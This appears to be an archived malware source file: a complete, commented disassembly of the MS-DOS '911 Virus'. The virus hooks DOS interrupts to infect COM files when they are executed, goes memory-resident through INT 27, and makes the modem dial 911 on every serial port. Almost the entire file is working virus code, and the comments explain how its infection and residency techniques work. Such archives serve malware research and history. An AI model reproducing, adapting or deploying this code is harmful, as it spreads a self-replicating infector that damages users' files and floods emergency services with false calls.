MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.armag911.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

642 lines
21 KiB
NASM

;***************************************************************************
;* *
;* The 911 Virus *
;* (An "Armagedon the Greek" Variant) *
;* Caution! This Virus Will Dial 911 On Computers Equipped With A Modem! *
;*Dial is controlled off of the new INT 08 handler when virus goes TSR. *
;*Examine the way the virus goes memory resident using INT 27, this is an *
;*interesting method that I had not seen before in a virus. Also, look *
;*at its rather strange procedure for infecting files. *
;* *
;* Disassembly by Black Wolf *
;* *
;***************************************************************************
.model tiny ;Sets assembler into Tiny mode
.radix 16 ;Sets numbers to hexidecimal
.code
org 100
;**************************************************************************
;* Loading Jump *
;**************************************************************************
start:
jmp Virus_Entry
;**************************************************************************
;**************************************************************************
;* This is where the infected file would usually be. *
;**************************************************************************
;**************************************************************************
;**************************************************************************
;* Int 21 Handler *
;**************************************************************************
Int_21:
pushf
cmp ah,0E0 ;Is this an installation check?
jne not_check ;If not, go to not_check
mov ax,0DADA ;If so, return 0DADA
popf ;and exit interrupt.
iret
not_check:
cmp ah,0E1 ;0E1=request for virus' seg. address
jne not_seg_req ;Not E1? then go to not_seg_req
mov ax,cs ;Move virus' address into AX
popf ;and exit interrupt.
iret
not_seg_req:
cmp ax,4B00 ;Load and Execute?
je Infect ;Go Infect
Go_Int_21:
popf
; jmp dword ptr cs:[Int_21_Off]
db 2e,0ff,2e,22,01 ;Jump to Int 21 (done)
;**************************************************************************
;****************************************************************************
;* Main Data Section *
;****************************************************************************
Int_21_Off dw 138dh
Int_21_Seg dw 029a
Int_08_Off dw 022Bh
Int_08_Seg dw 70
Ready_Byte db 0
Timing_Counter db 8
save_time_a db 10
save_time_b db 9
save_date db 34
Bytes_Written dw 0
waste_byte db 0
Character_Count db 0
Data_Ready db 0
Ports_Initialized db 0
com db 'COM'
handle dw 5
file_size dw 2
db 0, 0
mem_allocated dw 1301
save_ss dw 12AC
save_sp dw 0FFFE
filename_seg dw 9B70
filename_off dw 3D5Bh
attribs dw 20
file_date dw 0EC2
file_time dw 6E68
db 0,0,81,0
cs_save_3 dw 12AC
db 5C,0
cs_save_1 dw 12AC
db 6C,0
cs_save_2 dw 12AC
;****************************************************************************
Infect:
push ds bx si cx ax dx bp es di ;Save Registers
cld ;Clear direction
push dx ds ;Save Filename Address
xor cx,cx ;Zero CX for use as counter
mov si,dx ;Move Filename Offset to SI
Find_End_Of_Filename:
mov al,[si] ;Get letter from Filename
cmp al,0 ;Are we at the end of the
je Check_Filename ;Filename? Yes? Go to loc_7
inc cx ;inc Count
inc si ;inc pointer to next char
jmp short Find_End_Of_Filename
Check_Filename:
add dx,cx ;add filename length to
;start of filename address
sub dx,3 ;Subtract 3 for extension
mov si,offset com ;com='COM'
mov di,dx ;set di=dx to Check
;Next few lines Check for
;Command.Com
cmp byte ptr [di-3],4E ;Is the second to last letter
;an 'N'?
jne setup_check ;If not, it's not COMMAND,
;Go to loc_8
cmp byte ptr [di-2],44 ;Is the last letter a 'D'?
je Infect_Error ;If so, it is COMMAND,
;Go to Infect_Error.
setup_check:
mov cx,3 ;Setup loop
check_if_com:
mov al,cs:[si]
cmp al,[di]
jne Infect_Error
inc si ;Check for 'COM' Extension
inc di ;If so, infect, otherwise
loop check_if_com ;Go to Infect_Error
pop ds
pop dx ;Restore original filename
push dx ;address to DS:DX, then
push ds ;push them back onto stack
mov si,dx
mov dl,0
cmp byte ptr [si+1],3A ;Is the second letter a
; ':'? I.E. is the file on
;another drive?
jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space
mov dl,[si] ;Get drive number if the file
and dl,0F ;is on another drive.
Get_Free_Disk_Space:
mov ah,36
int 21h ;Get free drive space.
;DL=drive
cmp ax,0FFFF
je Infect_Error
jmp short Continue_Infect
nop
Infect_Error:
jmp Pop_And_Quit_Infect
jmp End_Infect
Error_After_Open:
jmp Close_File
jmp Reset_DTA
Continue_Infect:
cmp bx,3 ;If there are less than 3
jb Infect_Error ;clusters free, quit.
pop ds ;DS:DX is filename address
pop dx ;again.
push ds
push dx
mov word ptr cs:[filename_seg],ds ;Save DS:DX again
mov word ptr cs:[filename_off],dx
mov ax,4300
int 21 ;Get the file attributes
mov word ptr cs:[attribs],cx ;Store attributes
mov ax,4301
xor cx,cx ;Set attributes to zero
int 21 ;to insure write access.
mov bx,0FFFF
mov ah,48 ;Allocate all free memory
int 21 ;by trying to allocate more
;than the computer possibly can,
mov ah,48 ;then using the returned number
int 21 ;(free mem) as the amount to
;request.
mov word ptr cs:[mem_allocated],ax ;save the segment of
;allocated memory
mov ax,cs ;point ds to cs
mov ds,ax
mov dx,offset new_DTA
mov ah,1A
int 21 ;Set DTA to memory after virus
pop dx
pop ds
mov ax,3D02
clc ;clear carry (unneccessary)
int 21 ;Open file for read/write access
jc Error_After_Open ;on error go to
;Error_After_Open
mov bx,ax ;move handle to bx
mov word ptr cs:[handle],ax ;save file handle
mov cx,0FFFF
mov ax,word ptr cs:[mem_allocated] ;Get segment of
;memory to use
mov ds,ax ;point ds to it
mov dx,end_main_virus-start
mov ah,3F
clc ;clear carry
int 21 ;Read 0ffff byte from file
jc Error_After_Open ;If error go to
;Error_After_Open
mov word ptr cs:[file_size],ax ;save file size
;(number of bytes read)
cmp ax,0E000
ja Error_After_Open ;File is too large, go to
;Error_After_Open
cmp ax,end_main_virus-start ;Is file smaller than virus?
jb Not_Infected ;Yes, therefore it isn't
;infected, goto Not_Infected
mov si,offset (end_main_virus+1-100)
add si,si ;Set SI to point to area where
sub si,15 ;the text message would be if
;file is already infected.
mov cx,13 ;Length of Text_Message
mov di,offset Text_Message ;("Support Your Police")
Check_For_Infection:
mov al,byte ptr [si] ;This loop checks for the text
mov ah,cs:byte ptr [di] ;message in the file being
cmp ah,al ;examined. If it's there, it
jne Not_Infected ;jumps to Close_File,
inc si ;otherwise it jumps to Not_Infected
inc di
loop Check_For_Infection
jmp short Close_File
nop
Not_Infected:
mov ax,4200
mov bx,word ptr cs:[handle]
xor cx,cx
mov dx,cx
int 21 ;Move to beginning of file
jc Close_File
mov si,100
mov cx,offset (end_main_virus-100)
xor di,di
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
Copy_Virus:
mov al,cs:[si] ;Copy virus onto file in
mov [di],al ;memory. "repnz movsw"
inc si ;would've worked a lot
inc di ;better.
loop Copy_Virus
mov ax,5700
mov bx,word ptr cs:[handle]
int 21 ;Get File Date/Time
mov word ptr cs:[file_time],cx ;Save File Time
mov word ptr cs:[file_date],dx ;Save File Date
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
mov si,offset (end_main_virus-100)
mov al,[si] ;encrypt first storage
add al,0Bh ;byte.
mov [si],al
xor dx,dx
mov cx,word ptr cs:[file_size] ;Calculate new file size
add cx,offset end_main_virus-100 ;(add virus size)
mov bx,word ptr cs:[handle]
mov ah,40
int 21 ;Rewrite file
mov word ptr cx,cs:[file_time]
mov word ptr dx,cs:[file_date]
mov bx,word ptr cs:[handle]
mov ax,5701
int 21 ;Restore File Time
Close_File:
mov bx,word ptr cs:[handle]
mov ah,3E
int 21 ;Close File
push cs
pop ds
Reset_DTA:
mov dx,80
mov ah,1A
int 21 ;Reset DTA to default
mov ax,word ptr cs:[mem_allocated]
mov es,ax
mov ah,49
int 21 ;Release Allocated Memory
mov ax,word ptr cs:[filename_seg]
mov ds,ax
mov dx,word ptr cs:[filename_off]
mov ax,4301
mov cx,word ptr cs:[attribs]
int 21 ;Restore File Date/Time
jmp short End_Infect
nop
Pop_And_Quit_Infect:
pop ds
pop dx
jmp short End_Infect
nop
End_Infect:
pop di es bp dx ax cx si bx ds
jmp Go_Int_21
;************************************************************************
;* Timer Click (INT 8) Handler *
;* This is Used to Dial Numbers *
;************************************************************************
Int_08:
push bp ds es ax bx cx dx si di
pushf ;Push flags
;call word ptr cs:[Int_08_Off] ;Run old timer click
db 2e,0ff,1e,26,01
call Timing_Routine
push cs
pop ds
mov ah,5
mov ch,byte ptr [save_time_a]
cmp ah,ch
ja Quit_Int_08
;if [save_time_a] !=6, quit.
mov ah,6
cmp ah,ch
jb Quit_Int_08
mov ah,byte ptr [Ready_Byte]
cmp ah,1
je Go_Dial
mov ah,1
mov byte ptr [Ready_Byte],ah
jmp short Quit_Int_08
nop
Go_Dial:
call Write_Ports
inc word ptr [Bytes_Written]
mov ax,word ptr [Bytes_Written]
cmp ax,21C
jne Quit_Int_08
xor ax,ax ;Reset Counters
mov byte ptr [Ready_Byte],ah
mov word ptr [Bytes_Written],ax
mov byte ptr [Data_Ready],ah
Quit_Int_08:
pop di si dx cx bx ax es ds bp
iret
;****************************************************************************
;* Timing Routine For Dialing *
;****************************************************************************
Timing_Routine:
push cs
pop ds
xor al,al
mov ah,byte ptr [Timing_Counter]
cmp ah,11
jne Inc_Time_Count
mov ah,byte ptr [save_date]
cmp ah,3bh
jne Inc_Saved_Date
mov ah,byte ptr [save_time_b]
cmp ah,3bh
jne Inc_S_T_B
mov ah,byte ptr [save_time_a]
cmp ah,17
jne Inc_S_T_A
mov byte ptr [save_time_a],al
Save_T_B:
mov byte ptr [save_time_b],al
Store_Save_Date:
mov byte ptr [save_date],al
Time_Count:
mov byte ptr [Timing_Counter],al
ret
Inc_Time_Count:
inc byte ptr [Timing_Counter]
ret
Inc_Saved_Date:
inc byte ptr [save_date]
jmp short Time_Count
Inc_S_T_B:
inc byte ptr [save_time_b]
jmp short Store_Save_Date
Inc_S_T_A:
inc byte ptr [save_time_a]
jmp short Save_T_B
dial_string db '+++aTh0m0s7=35dp911,,,,,,,' ;Dial string To call
;911 and wait
;****************************************************************************
;* Write Data to Com Ports *
;****************************************************************************
Write_Ports:
mov al,byte ptr [Data_Ready]
cmp al,1
je Ret_Write_Ports ; Jump if equal
mov al,byte ptr [Ports_Initialized] ;Have Ports been
cmp al,1 ;Initialized yet?
je Already_Initialized
mov cx,3
Init_Ports:
mov dx,cx
xor ah,ah
mov al,83 ;Init Comport
int 14 ;1200 Baud, No Parity,
;1 Stop Bit, 8 bit Word Len.
loop Init_Ports ;Initalize all Ports 1-4
mov al,1
mov byte ptr [Ports_Initialized],al
jmp short Ret_Write_Ports
nop
Already_Initialized:
push cs
pop ds
mov si,offset dial_string
mov al,byte ptr [Character_Count]
cmp al,1A
jne Write_From_SI_To_Ports
jmp short Setup_write
nop
Write_From_SI_To_Ports:
xor ah,ah
add si,ax
mov al,[si]
mov dx,3F8 ;Outport from SI to standard
out dx,al ;addresses of ports 1-4
mov dx,2F8 ;and increment character count
out dx,al
mov dx,2E8
out dx,al
mov dx,3E8
out dx,al
inc byte ptr [Character_Count]
jmp short Ret_Write_Ports
nop
Setup_write:
mov cx,3
Write_To_All_Ports:
mov dx,cx
mov al,0dh
mov ah,1
int 14 ;Write a 1 to all ports
loop Write_To_All_Ports
mov ax,1
mov byte ptr [Data_Ready],al
mov byte ptr [Character_Count],ah
mov byte ptr [Ports_Initialized],ah
Ret_Write_Ports:
ret
;****************************************************************************
; Virus Entry Point
;****************************************************************************
Virus_Entry:
mov ah,0e0
int 21 ;Check for Installation
cmp ax,0dada ;Was it installed?
jne Install_Virus ;No? Then install it.
jmp Already_Installed ;Yes? Go to Already_Installed
Install_Virus:
push cs
pop ds
mov ax,3521 ;Get Int 21 Address
int 21
mov word ptr [Int_21_Off],bx ;Save old Int 21
mov word ptr [Int_21_Seg],es ;Vector
mov dx,offset Int_21
mov ax,2521
int 21 ;Set Int 21
mov ax,3508
int 21 ;Get Int 8 Address
mov word ptr [Int_08_Off],bx
mov word ptr [Int_08_Seg],es ;Save old Vectors
mov dx,offset Int_08
mov ax,2508
int 21 ;Set Int 08
mov ah,2C
int 21 ;Get Time
mov byte ptr [save_time_a],ch
mov byte ptr [save_time_b],cl ;Save Time and Date
mov byte ptr [save_date],dh
mov ax,cs:[2c] ;Get environment block
mov ds,ax ;address and put it in DS
xor si,si ;DS:SI=beginning of Env. B.
Find_The_Filename:
mov al,[si] ;Search through environment
cmp al,1 ;block for program executed.
je Found_Filename
inc si
jmp short Find_The_Filename
Found_Filename:
inc si
inc si
mov dx,si ;DS:DX = Filename
mov ax,cs
mov es,ax ;Set segment (ES) = CS
mov bx,5a ;Request 5a0h (1440 dec) bytes
mov ah,4a
int 21 ;Change Allocated Memory
mov bx,word ptr cs:[81] ;Beginning of Command Line
mov ax,cs
mov es,ax ;set ES=CS again.
mov word ptr cs:[cs_save_1],ax
mov word ptr cs:[cs_save_2],ax ;Re-Execute program
mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause
mov ax,4B00 ;program to go mem-res
mov word ptr cs:[save_ss],ss ;without terminating
mov word ptr cs:[save_sp],sp ;regular program.
pushf
;call far cs:[Int_21_Off] ;Call Load and Execute
db 2e,0ff,1e,22,01
mov ax,word ptr cs:[save_ss]
mov ss,ax
mov ax,word ptr cs:[save_sp] ;Restore Stack
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537 ;DX=End of virus
int 27 ;Terminate & stay resident
Already_Installed:
mov ah,0E1 ;Get CS of virus in memory
int 21
mov si,offset Install_Jump
mov cs:[si+3],ax ;Setup Jump
mov ax,offset After_Jump
mov cs:[si+1],ax
mov ax,word ptr cs:[file_size]
mov bx,cs
Install_Jump:
db 0ea
IP_For_Jump db 0,0
CS_For_Jump db 0,0
After_Jump:
mov cx,ax
mov ds,bx
mov si,100
mov di,offset storage_bytes
Restore_File: ;Restore File in memory
mov al,[di]
mov [si],al
inc si
inc di
loop Restore_File
mov si,offset return_jump
mov cs:[si+3],ds ;set host segment
mov al,byte ptr ds:[100] ;Get first byte of host,
sub al,0bh ;then unencrypt first byte
mov byte ptr ds:[100],al ;of Storage_Bytes
mov ax,ds ;and restore it
mov es,ax ;restore ES and SS to point
mov ss,ax ;to DS/CS
;* jmp far ptr start ;Return control to COM file
return_jump:
db 0ea
host_offset db 00,01
host_segment db 07,13
Text_Message db 'Support Your Police'
end_main_virus:
Storage_Bytes db 0D8,20 ;First Byte Encrypted
end_of_vir:
word_space db 8 dup (?)
new_DTA :
end start